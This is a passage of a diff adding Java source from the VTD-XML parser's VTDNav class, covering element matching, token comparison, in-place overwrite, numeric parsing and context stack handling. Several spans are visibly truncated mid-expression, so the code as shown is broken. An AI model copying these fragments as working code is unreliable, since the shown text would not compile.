(ns == false) + return false; + int tokenType; + int index = getCurrentIndex() + 1; + while (index < vtdSize) { + tokenType = getTokenType(index); + if(tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS || tokenType ==VTDNav.TOKEN_PI_NAME){ + index = index+2; + continue; + } + //if (isElementOrDocument(index)) { + if (tokenType == VTDNav.TOKEN_STARTING_TAG || tokenType == VTDNav.TOKEN_DOCUMENT){ + int depth = getTokenDepth(index); + if (depth > dp) { + context[0] = depth; + if (depth>0) + context[depth] = index; + if (matchElementNS(URL, ln)) { + if (dp < maxLCDepthPlusOne) + resolveLC(); + return true; + } + } else { + return false; + } + } + index++; + } + return false; + } + + + /** + * Test if the current element matches the given name. Creation date: + * (11/26/03 2:09:43 PM) + * + * @return boolean + * @param en + * java.lang.String + * @exception com.ximpleware.NavException + * If the underlying raw char representation has errors. + */ + final public boolean matchElement(String en) throws NavException { + + if (en.equals("*") && context[0]!=-1) + return true; + if (context[0]==-1) + return false; + return matchRawTokenString( + (context[0] == 0) ? rootIndex : context[context[0]], + en); + } + /** + * Test whether the current element matches the given namespace URL and + * localname. URL, when set to "*", matches any namespace (including null), + * when set to null, defines a "always-no-match" ln is the localname that, + * when set to *, matches any localname + * + * @return boolean + * @param URL + * java.lang.String + * @param ln + * java.lang.String + * @exception com.ximpleware.NavException + * When there is any encoding conversion error or unknown + * entity. + * + */ + final public boolean matchElementNS(String URL, String ln) throws NavException { + if (context[0]==-1) + return false; + int i = + getTokenLength((context[0] != 0) ? context[context[0]] : rootIndex); + int offset = + getTokenOffset((context[0] != 0) ? context[context[0]] : rootIndex); + int preLen = (i >> 16) & 0xffff; + int fullLen = i & 0xffff; + if (URL!=null && URL.length()==0) + URL = null; + if (ln.equals("*") + || ((preLen != 0) + ? matchRawTokenString( + offset + preLen + 1, + fullLen - preLen - 1, + ln) + : matchRawTokenString( + offset, + fullLen, + ln))) { // no prefix, search for xmlns + if (((URL != null) ? URL.equals("*") : false) + || (resolveNS(URL, offset, preLen) == true)) + return true; + if ( preLen==3 + && matchRawTokenString(offset, preLen,"xml") + && URL.equals("http://www.w3.org/XML/1998/namespace")) + return true; + } + return false; + } + final private boolean matchRawTokenString(int offset, int len, String s) + throws NavException{ + return compareRawTokenString(offset, len, s)==0; + } + + final protected int compareTokenString(int offset, int len, String s) + throws NavException { + int i, l; + long l1; + //this.currentOffset = offset; + int endOffset = offset + len; + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + //System.out.println(s); + for (i = 0; i < l && offset < endOffset; i++) { + l1 = getCharResolved(offset); + int i1 = s.charAt(i); + if (i1 < (int) l1) + return 1; + if (i1 > (int) l1) + return -1; + offset += (int) (l1 >> 32); + } + + if (i == l && offset < endOffset) + return 1; + if (i < l && offset == endOffset) + return -1; + return 0; + } + + /** + * New in 2.0 This method compares two VTD tokens of VTDNav + * objects The behavior of this method is like compare the strings + * corresponds to i1 and i2, meaning for text or attribute val, entities + * will be converted into the corresponding char, return 0 if two tokens + * are the identical when converted to Unicode String using toString() + * respectively + * + * @param i1 + * @param vn2 + * @param i2 + * @return -1,0 (when equal), or 1 + * @throws NavException + * + */ + final public int compareTokens(int i1, VTDNav vn2, int i2) + throws NavException{ + int t1, t2; + int ch1, ch2; + int endOffset1, endOffset2; + long l; + + if ( i1 ==i2 && this == vn2) + return 0; + + t1 = this.getTokenType(i1); + t2 = vn2.getTokenType(i2); + + int offset1 = this.getTokenOffset(i1); + int offset2 = vn2.getTokenOffset(i2); + + int len1 = + (t1 == TOKEN_STARTING_TAG + || t1 == TOKEN_ATTR_NAME + || t1 == TOKEN_ATTR_NS) + ? getTokenLength(i1) & 0xffff + : getTokenLength(i1); + int len2 = + (t2 == TOKEN_STARTING_TAG + || t2 == TOKEN_ATTR_NAME + || t2 == TOKEN_ATTR_NS) + ? vn2.getTokenLength(i2) & 0xffff + : vn2.getTokenLength(i2); + + endOffset1 = len1+offset1; + endOffset2 = len2+ offset2; + + for(;offset1>32); + + if(t2 == VTDNav.TOKEN_CHARACTER_DATA + || t2== VTDNav.TOKEN_ATTR_VAL){ + l = vn2.getCharResolved(offset2); + } else { + l = vn2.getChar(offset2); + } + ch2 = (int)l; + offset2 += (int)(l>>32); + + if (ch1 > ch2) + return 1; + if (ch1 < ch2) + return -1; + } + + if (offset1 == endOffset1 + && offset2 < endOffset2) + return -1; + else if (offset1 < endOffset1 + && offset2 == endOffset2) + return 1; + else + return 0; + } + /** + * Lexicographically compare a string against a token with given offset and + * len, entities doesn't get resolved. + * + * @return int (0 if they are equal, 1 if greater, else -1) + * + * @param offset + * int + * @param len + * int + * @param s + * java.lang.String + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + final protected int compareRawTokenString(int offset, int len, String s) + throws NavException { + int i, l; + long l1; + //this.currentOffset = offset; + int endOffset = offset + len; + + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + //System.out.println(s); + for (i = 0; i < l && offset < endOffset; i++) { + l1 = getChar(offset); + int i1 = s.charAt(i); + if (i1 < (int) l1) + return 1; + if (i1 > (int) l1) + return -1; + offset += (int) (l1 >> 32); + } + + if (i == l && offset < endOffset) + return 1; + if (iNew in 2.0 Compare the string against the token at the given + * index value. When a token is an attribute name or starting tag, qualified + * name is what gets compared against This method has to take care of the + * underlying encoding conversion but it doesn't resolve entity + * reference in the underlying document The behavior is the same as calling + * toRawString on index, then compare to s + * + * @param index + * @param s + * @return the result of lexical comparison + * @exception NavException + * + */ + final public int compareRawTokenString(int index, String s) + throws NavException { + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid + // calling getChar() everytime + return compareRawTokenString(getTokenOffset(index), len, s); + } + /** + * Match the string against the token at the given index value. When a token + * is an attribute name or starting tag, qualified name is what gets matched + * against This method has to take care of the underlying encoding + * conversion but it doesn't resolve entity reference in the + * underlying document + * + * @return boolean + * @param index + * int (index into the VTD token buffer) + * @param s + * java.lang.String + * @exception com.ximpleware.NavException + * When if the underlying byte content contains various + * errors. Notice that we are being conservative in making + * little assumption on the correctness of underlying byte + * content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + final public boolean matchRawTokenString(int index, String s) + throws NavException { + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid + // calling getChar() everytime + return compareRawTokenString(getTokenOffset(index), len, s)==0; + } + /** + * Match a string with a token represented by a long (upper 32 len, lower 32 + * offset). + * + * @return boolean + * @param l + * long + * @param s + * java.lang.String + * @exception com.ximpleware.NavException + * When if the underlying byte content contains various + * errors. Notice that we are being conservative in making + * little assumption on the correctness of underlying byte + * content. This is because the VTD can be generated by + * another machine such as a load-balancer. + * + */ + /*final private boolean matchRawTokenString(long l, String s) throws NavException { + int len = (int) ((l & MASK_TOKEN_FULL_LEN) >> 32); + // a little hardcode is always bad + //currentOffset = (int) l; + return compareRawTokenString((int)l, len, s)==0; + }*/ + /** + * Match a string against a token with given offset and len, entities get + * resolved properly. Creation date: (11/24/03 1:37:42 PM) + * + * @return boolean + * @param offset + * int + * @param len + * int + * @param s + * java.lang.String + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + * @exception IllegalArguementException + * if s is null + */ + /*final private boolean matchTokenString(int offset, int len, String s) + throws NavException { + return compareTokenString(offset,len,s)==0; + }*/ + + /** + * New in 2.0 Compare the string against the token at the given + * index value. When a token is an attribute name or starting tag, qualified + * name is what gets matched against This method has to take care of the + * underlying encoding conversion as well as entity reference comparison + * + * @param index + * @param s + * @return int + * @throws NavException + * + */ + final public int compareTokenString(int index, String s) + throws NavException{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid + // calling getChar() everytime + + if (type == TOKEN_CHARACTER_DATA + || type == TOKEN_ATTR_VAL) + return compareTokenString(getTokenOffset(index), len, s); + else + return compareRawTokenString(getTokenOffset(index), len, s); + + } + /** + * Match the string against the token at the given index value. When a token + * is an attribute name or starting tag, qualified name is what gets matched + * against This method has to take care of the underlying encoding + * conversion as well as entity reference comparison + * + * @return boolean + * @param index + * int + * @param s + * java.lang.String + * @exception com.ximpleware.NavException + * When if the underlying byte content contains various + * errors. Notice that we are being conservative in making + * little assumption on the correctness of underlying byte + * content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + final public boolean matchTokenString(int index, String s) throws NavException { + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid + // calling getChar() everytime + return compareTokenString(getTokenOffset(index), len, s)==0; + } + + /** + * Match the string against the token at the given index value. The token will be + * interpreted as if it is normalized (i.e. all white space char (\r\n\a ) is replaced + * by a white space, char entities and entity references will be replaced by their correspondin + * char see xml 1.0 spec interpretation of attribute value normalization) + * @param index + * @param s + * @return + * @throws NavException + */ + final protected boolean matchNormalizedTokenString2(int index, String s) throws NavException{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + + return compareNormalizedTokenString2(getTokenOffset(index), len, s)==0; + + } + + final protected int compareNormalizedTokenString2(int offset, int len, + String s) throws NavException { + int i, l, temp; + long l1,l2; + //boolean b = false; + // this.currentOffset = offset; + int endOffset = offset + len; + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + // System.out.println(s); + for (i = 0; i < l && offset < endOffset;) { + l1 = getCharResolved(offset); + temp = (int) l1; + l2 = (l1>>32); + if (l2<=2 && isWS(temp)) + temp = ' '; + int i1 = s.charAt(i); + if (i1 < temp) + return 1; + if (i1 > temp) + return -1; + i++; + offset += (int) (l1 >> 32); + } + + if (i == l && offset < endOffset) + return 1; + if (i < l && offset == endOffset) + return -1; + return 0; + // return -1; + } + /** + * Match a string against a "non-extractive" token represented by a long + * (upper 32 len, lower 32 offset). + * + * @return boolean + * @param l + * long + * @param s + * java.lang.String + * @exception com.ximpleware.NavException + * When the underlying byte content contains various errors. + * Notice that we are being conservative in making little + * assumption on the correctness of underlying byte content. + * This is because the VTD can be generated by another + * machine such as a load-balancer. + * + */ + + /*final private boolean matchTokenString(long l, String s) throws NavException { + int len = (int) (l >> 32) & 0xffff; + //currentOffset = (int) l; + return compareTokenString((int) l, len, s)==0; + }*/ + + + /** + * Evaluate the namespace indicator in bit 31 and bit 30. Creation date: + * (11/27/03 5:38:51 PM) + * + * @return int + * @param i + * int + */ + final private int NSval(int i) { + + return (int) (vtdBuffer.longAt(i) & MASK_TOKEN_NS_MARK); + } + + /** + * overWrite is introduced in version 2.0 that allows you to directly + * overwrite the XML content if the token is long enough If the operation is + * successful, the new content along with whitespaces will fill the + * available token space, and there will be no need to regenerate the VTD + * and LCs !!! + * The current version (2.0) only allows overwrites on attribute value, + * character data, and CDATA + * + * Consider the XML below: good After overwriting the token "good" + * with "bad," the new XML looks like: bad as you can see, "goo" is + * replaced with "bad" character-by-character, and the remaining "d" is + * replace with a white space + * + * @param index + * @param ba + * the byte array contains the new content to be overwritten + * @return boolean as the status of the overwrite operation + * + */ + final public boolean overWrite(int index, byte[] ba){ + return overWrite(index,ba,0,ba.length); + } + + + /** + * overWrite is introduced in version 2.0 that allows you to directly + * overwrite the XML content if the token is long enough If the operation is + * successful, white spaces will be used to fill the available token space, + * and there will be no need to regenerate the VTD and LCs + * The current version (2.0) only allows overwrites on attribute value, + * character data, and CDATA + * + * Consider the XML below: good After overwriting the token "good" + * with "bad," the new XML looks like: bad as you can see, "goo" is + * replaced with "bad", and the remaining "d" is replace with a white space + * + * @param index + * the VTD record to which the change will be applied + * @param ba + * the byte array contains the new content to be overwritten + * @param offset + * @param len + * @return boolean as the status of the overwrite operation + * + */ + public boolean overWrite(int index, byte[] ba, int offset, int len){ + if ( ba == null + || index >= this.vtdSize + || offset<0 + || offset + len > ba.length) + throw new IllegalArgumentException("Illegal argument for overwrite"); + if (encoding >=VTDNav.FORMAT_UTF_16BE + && (((len & 1)==1 ) + || ((offset&1)==1))){ + // for UTF 16, len and offset must be integer multiple + // of 2 + return false; + } + int t = getTokenType(index); + if ( t== VTDNav.TOKEN_CHARACTER_DATA + || t==VTDNav.TOKEN_ATTR_VAL + || t==VTDNav.TOKEN_CDATA_VAL){ + int length = getTokenLength(index); + if ( length < len) + return false; + int os = getTokenOffset(index); + int temp = length - len; + //System.out.println("temp ==>"+temp); + // get XML doc + System.arraycopy(ba, offset, XMLDoc.getBytes(),os, len); + for (int k=0;k"+encoding); + if (encoding < VTDNav.FORMAT_UTF_16BE){ + // write white spaces + // System.out.println("replacing..."); + (XMLDoc.getBytes())[os+len+k] = ' '; + k++; + }else{ + if (encoding == VTDNav.FORMAT_UTF_16BE){ + XMLDoc.getBytes()[os+len+k] = 0; + XMLDoc.getBytes()[os+len+k+1] = ' '; + }else{ + XMLDoc.getBytes()[os+len+k] = ' '; + XMLDoc.getBytes()[os+len+k+1] = 0; + } + k += 2; + } + } + return true; + } + return false; + } + /** + * Convert a vtd token into a double. Creation date: (12/8/03 2:28:31 PM) + * + * @return double + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + public double parseDouble(int index) throws NavException { + //if (matchTokenString() + int offset = getTokenOffset(index); + long l=0; + int end = offset + getTokenLength(index); + int t = getTokenType(index); + boolean b = (t==VTDNav.TOKEN_CHARACTER_DATA )|| (t==VTDNav.TOKEN_ATTR_VAL); + boolean expneg = false; + int ch; + //past the last one by one + + { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + while (offset < end) { // trim leading whitespaces + if (!isWS(ch)) + break; + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + if (offset > end) // all whitespace + return Double.NaN; + + boolean neg = (ch == '-'); + + if (ch == '-' || ch == '+'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //get another one if it is sign. + } + //left part of decimal + double left = 0; + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); //only consider decimal + if (dig < 0) + break; + + left = left * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32);; + } + + //right part of decimal + double right = 0; + double scale = 1; + if (ch == '.') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + right = right * 10 + dig; + scale *= 10; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + } + + //exponent + long exp = 0; + if (ch == 'E' || ch == 'e') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + expneg = (ch == '-'); //sign for exp + if (ch == '+' || ch == '-'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //skip the +/- sign + } + int cur = offset; + //remember the indx, used to find a invalid number like 1.23E + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + exp = exp * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + if (cur == offset) + return Double.NaN; + //found a invalid number like 1.23E + + //if (expneg) + // exp = (-exp); + } + + //anything left must be space + while (offset <= end) { + if (!isWS(ch)) + return Double.NaN; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + double v = (double) left; + if (right != 0) + v += ((double) right) / (double) scale; + + if (exp != 0) + v = (expneg)? v /(Math.pow(10,exp)): v*Math.pow(10,exp); + + return ((neg) ? (-v) : v); + } + + /** + * Convert a vtd token into a float. we assume token type to be attr val or + * character data Creation date: (12/8/03 2:28:18 PM) + * + * @return float + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + public float parseFloat(int index) throws NavException { + + int offset = getTokenOffset(index); + int end = offset + getTokenLength(index); + long l; + //past the last one by one + int t = getTokenType(index); + boolean b = (t==VTDNav.TOKEN_CHARACTER_DATA )|| (t==VTDNav.TOKEN_ATTR_VAL); + int ch ; + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + + while (offset <= end) { // trim leading whitespaces + if (!isWS(ch)) + break; + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + if (offset > end) // all whitespace + throw new NavException("Empty string"); + + boolean neg = (ch == '-'); + + if (ch == '-' || ch == '+'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //get another one if it is sign. + } + //left part of decimal + long left = 0; + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); //only consider decimal + if (dig < 0) + break; + + left = left * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + //right part of decimal + long right = 0; + long scale = 1; + if (ch == '.') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + right = right * 10 + dig; + scale *= 10; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + } + + //exponent + long exp = 0; + if (ch == 'E' || ch == 'e') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + boolean expneg = (ch == '-'); //sign for exp + if (ch == '+' || ch == '-'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //skip the +/- sign + } + int cur = offset; + //remember the indx, used to find a invalid number like 1.23E + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + exp = exp * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + if (cur == offset) + return Float.NaN; + //found a invalid number like 1.23E + + if (expneg) + exp = (-exp); + } + + //anything left must be space + while (offset <= end) { + if (!isWS(ch)) + throw new NavException(toString(index)); + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + double v = (double) left; + if (right != 0) + v += ((double) right) / (double) scale; + + if (exp != 0) + v = v * Math.pow(10, exp); + + + float f = (float) v; + + //try to handle overflow/underflow + if (v >= (double)Float.MAX_VALUE) + f = Float.MAX_VALUE; + else if (v <= (double)Float.MIN_VALUE) + f = Float.MIN_VALUE; + if (neg) + f = -f; + return f; + } + /** + * Convert a vtd token into an int. This method will automatically strip off + * the leading and trailing we assume token type to be attr val or character + * data zero, unlike Integer.parseInt(int index) + * + * Creation date: (12/8/03 2:32:22 PM) + * + * @return int + * @param index + * int + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + public int parseInt(int index) throws NavException { + return parseInt(index, 10); + } + /** + * Convert a vtd token into an int, with the given radix. we assume token + * type to be attr val or character data the first char can be either '+' or + * '-' Creation date: (12/16/03 1:21:20 PM) + * + * @return int + * @param index + * int + * @param radix + * int + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + protected int parseInt(int index, int radix) throws NavException { + if (radix < 2 || radix > 36) + throw new NumberFormatException( + "radix " + radix + " out of valid range"); + int t = getTokenType(index); + boolean b = (t==VTDNav.TOKEN_CHARACTER_DATA )|| (t==VTDNav.TOKEN_ATTR_VAL); + int offset = getTokenOffset(index); + int endOffset = offset + getTokenLength(index); + + int c; + long l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + + // trim leading whitespaces + while ((c == ' ' || c == '\n' || c == '\t' || c == '\r') + && (offset <= endOffset)){ + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset > endOffset) // all whitespace + throw new NumberFormatException(" empty string"); + + boolean neg = (c == '-'); + if (neg || c == '+') { + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); //skip sign + } + long result = 0; + while (offset <= endOffset) { + int digit = Character.digit((char) c, radix); + if (digit < 0) + break; + + //Note: for binary we can simply shift to left to improve + // performance + result = result * radix + digit; + //pos *= radix; + + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + + if (result > Integer.MAX_VALUE) + throw new NumberFormatException("Overflow: " + toString(index)); + + // take care of the trailing + while (offset <= endOffset && isWS(c)) { + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset == (endOffset + 1)) + return (int) ((neg) ? (-result) : result); + else + throw new NumberFormatException(toString(index)); + } + /** + * Convert a vtd token into a long. we assume token type to be attr val or + * character data Creation date: (12/8/03 2:32:59 PM) + * + * @return long + * @param index + * int + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + public long parseLong(int index) throws NavException { + return parseLong(index, 10); + } + /** + * Convert a vtd token into a long, with the given radix. the first char can + * be either '+' or '-', leading and trailing will be stripped we assume + * token type to be attr val or character data Creation date: (12/17/03 + * 1:51:06 PM) + * + * @return long + * @param index + * int + * @param radix + * int + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + */ + protected long parseLong(int index, int radix) throws NavException { + if (radix < 2 || radix > 36) + throw new NumberFormatException( + "radix " + radix + " out of valid range"); + + int t = getTokenType(index); + boolean b = (t==VTDNav.TOKEN_CHARACTER_DATA )|| (t==VTDNav.TOKEN_ATTR_VAL); + + int offset = getTokenOffset(index); + int endOffset = offset + getTokenLength(index); + + int c; + long l; + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + + // trim leading whitespaces + while ((c == ' ' || c == '\n' || c == '\t' || c == '\r') + && (offset <= endOffset)){ + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset > endOffset) // all whitespace + throw new NumberFormatException(" empty string"); + + boolean neg = (c == '-'); + if (neg || c == '+'){ + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32);//skip sign + } + long result = 0; + while (offset <= endOffset) { + int digit = Character.digit((char) c, radix); + if (digit < 0) + break; + + //Note: for binary we can simply shift to left to improve + // performance + result = result * radix + digit; + //pos *= radix; + + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32);; + } + + if (result > Long.MAX_VALUE) + throw new NumberFormatException("Overflow: " + toString(index)); + + // take care of the trailing + while (offset <= endOffset && isWS(c)) { + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset == (endOffset + 1)) + return (long) ((neg) ? (-result) : result); + else + throw new NumberFormatException(toString(index)); + } + + /** + * Load the context info from ContextBuffer. Info saved including LC and + * current state of the context + * + * @return boolean + * + */ + public boolean pop() { + boolean b = contextStack.load(stackTemp); + if (b == false) + return false; + for (int i = 0; i < nestingLevel; i++) { + context[i] = stackTemp[i]; + } + + l1index = stackTemp[nestingLevel]; + l2index = stackTemp[nestingLevel + 1]; + l3index = stackTemp[nestingLevel + 2]; + l2lower = stackTemp[nestingLevel + 3]; + l2upper = stackTemp[nestingLevel + 4]; + l3lower = stackTemp[nestingLevel + 5]; + l3upper = stackTemp[nestingLevel + 6]; + atTerminal = (stackTemp[nestingLevel + 7] == 1); + LN = stackTemp[nestingLevel+8]; + return true; + } + /** + * Load the context info from contextStack2. This method is dedicated for + * XPath evaluation. + * + * @return status of pop2 + */ + + + protected boolean pop2(){ + + boolean b = contextStack2.load(stackTemp); + if (b == false) + return false; + for (int i = 0; i < nestingLevel; i++) { + context[i] = stackTemp[i]; + } + l1index = stackTemp[nestingLevel]; + l2index = stackTemp[nestingLevel + 1]; + l3index = stackTemp[nestingLevel + 2]; + l2lower = stackTemp[nestingLevel + 3]; + l2upper = stackTemp[nestingLevel + 4]; + l3lower = stackTemp[nestingLevel + 5]; + l3upper = stackTemp[nestingLevel + 6]; + atTerminal = (stackTemp[nestingLevel + 7] == 1); + LN = stackTemp[nestingLevel+8]; + return true; + } + + /** + * Store the context info into the ContextBuffer. Info saved including LC + * and current state of the context Creation date: (11/16/03 7:00:27 PM) + */ + public void push() { + + for (int i = 0; i < nestingLevel; i++) { + stackTemp[i] = context[i]; + } + stackTemp[nestingLevel] = l1index; + stackTemp[nestingLevel + 1] = l2index; + stackTemp[nestingLevel + 2] = l3index; + stackTemp[nestingLevel + 3] = l2lower; + stackTemp[nestingLevel + 4] = l2upper; + stackTemp[nestingLevel + 5] = l3lower; + stackTemp[nestingLevel + 6] = l3upper; + if (atTerminal) + stackTemp[nestingLevel + 7] =1; + else + stackTemp[nestingLevel + 7] =0; + stackTemp[nestingLevel+8] = LN; + contextStack.store(stackTemp); + } + /** + * Store the context info into the contextStack2. This method is reserved + * for XPath Evaluation + * + */ + + protected void push2() { + + for (int i = 0; i < nestingLevel; i++) { + stackTemp[i] = context[i]; + } + stackTemp[nestingLevel] = l1index; + stackTemp[nestingLevel + 1] = l2index; + stackTemp[nestingLevel + 2] = l3index; + stackTemp[nestingLevel + 3] = l2lower; + stackTemp[nestingLevel + 4] = l2upper; + stackTemp[nestingLevel + 5] = l3lower; + stackTemp[nestingLevel + 6] = l3upper; + if (atTerminal) + stackTemp[nestingLevel + 7] =1; + else + stackTemp[nestingLevel + 7] =0; + stackTemp[nestingLevel+8] = LN; + contextStack2.store(stackTemp); + } + + /** + * clear the contextStack2 after XPath evaluation + * + * + */ + final protected void clearStack2(){ + contextStack2.size = 0; + } + + /** + * Used by following:: axis + * @param depth + * @param index + */ + protected void sync(int depth, int index){ + // assumption is that this is always at terminal + int t=-1; + switch(depth){ + case -1: return; + case 0: + if(l1Buffer.size!=0){ + if (l1index==-1) + l1index=0; + + if (index> l1Buffer.upper32At(l1Buffer.size-1)){ + l1index = l1Buffer.size-1; + return; + } + + if (index > l1Buffer.upper32At(l1index)){ + while (l1index < l1Buffer.size - 1 && l1Buffer.upper32At(l1index) < index) { + l1index++; + } + } + else{ + while (l1index >0 && l1Buffer.upper32At(l1index-1) > index) { + l1index--; + } + } + //assert(indexl2Buffer.upper32At(l2index)){ + while (l2index < l2upper && l2Buffer.upper32At(l2index)< index){ + l2index++; + } + } else { + while(l2index > l2lower && l2Buffer.upper32At(l2index-1)> index){ + l2index--; + } + } + + //assert(indexl3Buffer.intAt(l3index)){ + while (l3index < l3upper && l3Buffer.intAt(l3index) l3lower && l3Buffer.intAt(l3index-1)> index){ + l3index--; + } + } + + //assert(index l3Buffer.intAt(l3index)){ + while (context[3] != l3Buffer.intAt(l3index)){ + l3index++; + } + //} else { + // while (context[3] != l3Buffer.intAt(l3index)){ + // l3index--; + // } + //} + + //assert(index= l1Buffer.size + || context[1] != l1Buffer.upper32At(l1index)) { + if (l1index >= l1Buffer.size || l1index < 0) { + l1index = 0; + } + if (l1index+1 context[1]) { + while (l1Buffer.upper32At(init_guess) != context[1]) { + init_guess--; + } + } else if (l1Buffer.upper32At(init_guess) < context[1]) { + while (l1Buffer.upper32At(init_guess) != context[1]) { + init_guess++; + } + } + l1index = init_guess; + } else{ + if (context[1]>=l1Buffer.upper32At(l1index)){ + while(context[1]!=l1Buffer.upper32At(l1index) + && l1index < l1Buffer.size){ + l1index++; + } + } + else{ + while(context[1]!=l1Buffer.upper32At(l1index) + && l1index >=0){ + l1index--; + } + } + } + } + } + + /** + * Sync Level 2 location cache + */ + protected void resolveLC_l2(){ + int temp = l1Buffer.lower32At(l1index); + if (l2lower != temp) { + 